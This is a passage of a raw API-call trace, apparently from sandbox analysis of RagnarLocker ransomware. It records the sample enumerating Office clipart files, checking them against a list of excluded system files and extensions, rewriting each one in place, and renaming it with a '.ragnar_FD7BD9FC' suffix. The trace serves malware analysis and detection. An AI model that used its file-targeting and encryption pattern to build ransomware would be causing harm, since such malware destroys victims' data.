dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.572] GetProcessHeap () returned 0x580000 [0091.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.572] CloseHandle (hObject=0xf4) returned 1 [0091.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" [0091.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.ragnar_FD7BD9FC" [0091.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0091.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.572] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00768_.WMF" | out: lpString1="SO00768_.WMF") returned="SO00768_.WMF" [0091.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF") returned=".WMF" [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="autorun.inf") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="boot.ini") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="bootfont.bin") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="bootsect.bak") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="bootmgr") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="bootmgr.efi") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="desktop.ini") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="iconcache.db") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="ntldr") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="ntuser.dat") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="ntuser.ini") returned 1 [0091.573] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="thumbs.db") returned -1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.573] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf")) returned 0x20 [0091.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.574] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21562) returned 1 [0091.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5431, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.574] GetProcessHeap () returned 0x580000 [0091.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.574] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.575] VirtualAlloc (lpAddress=0x0, dwSize=0x543a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.575] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x543a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x543a, lpOverlapped=0x0) returned 1 [0091.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.576] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x543a, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.576] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x543a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x543a, lpOverlapped=0x0) returned 1 [0091.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x543a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x543a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.577] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.577] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.577] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.577] GetProcessHeap () returned 0x580000 [0091.577] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.577] CloseHandle (hObject=0xf4) returned 1 [0091.577] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" [0091.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.ragnar_FD7BD9FC" [0091.577] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.578] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0091.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.578] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00783_.WMF" | out: lpString1="SO00783_.WMF") returned="SO00783_.WMF" [0091.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF") returned=".WMF" [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="autorun.inf") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="boot.ini") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="bootfont.bin") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="bootsect.bak") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="bootmgr") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="bootmgr.efi") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.578] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="desktop.ini") returned 1 [0091.579] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="iconcache.db") returned 1 [0091.579] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="ntldr") returned 1 [0091.579] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="ntuser.dat") returned 1 [0091.579] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.579] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="ntuser.ini") returned 1 [0091.579] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="thumbs.db") returned -1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.579] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf")) returned 0x20 [0091.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.579] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5870) returned 1 [0091.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.580] GetProcessHeap () returned 0x580000 [0091.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.580] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.581] VirtualAlloc (lpAddress=0x0, dwSize=0x16ee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.581] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16ee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16ee, lpOverlapped=0x0) returned 1 [0091.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.582] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16ee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16ee, lpOverlapped=0x0) returned 1 [0091.582] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.582] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.583] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.583] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.583] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.583] GetProcessHeap () returned 0x580000 [0091.583] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.583] CloseHandle (hObject=0xf4) returned 1 [0091.583] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" [0091.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.ragnar_FD7BD9FC" [0091.583] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.584] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0091.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.584] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00820_.WMF" | out: lpString1="SO00820_.WMF") returned="SO00820_.WMF" [0091.584] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF") returned=".WMF" [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="autorun.inf") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="boot.ini") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="bootfont.bin") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="bootsect.bak") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="bootmgr") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="bootmgr.efi") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="desktop.ini") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="iconcache.db") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="ntldr") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="ntuser.dat") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="ntuser.ini") returned 1 [0091.584] lstrcmpiW (lpString1="SO00820_.WMF", lpString2="thumbs.db") returned -1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.584] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf")) returned 0x20 [0091.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.585] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16834) returned 1 [0091.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x41b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.585] GetProcessHeap () returned 0x580000 [0091.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.585] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.586] VirtualAlloc (lpAddress=0x0, dwSize=0x41c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.587] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x41c2, lpOverlapped=0x0) returned 1 [0091.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.588] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.588] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x41c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x41c2, lpOverlapped=0x0) returned 1 [0091.590] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.590] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x41c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.590] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.590] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.590] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.590] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.590] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.590] GetProcessHeap () returned 0x580000 [0091.590] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.590] CloseHandle (hObject=0xf4) returned 1 [0091.591] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" [0091.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF", lpString2=".ragnar_FD7BD9FC" | 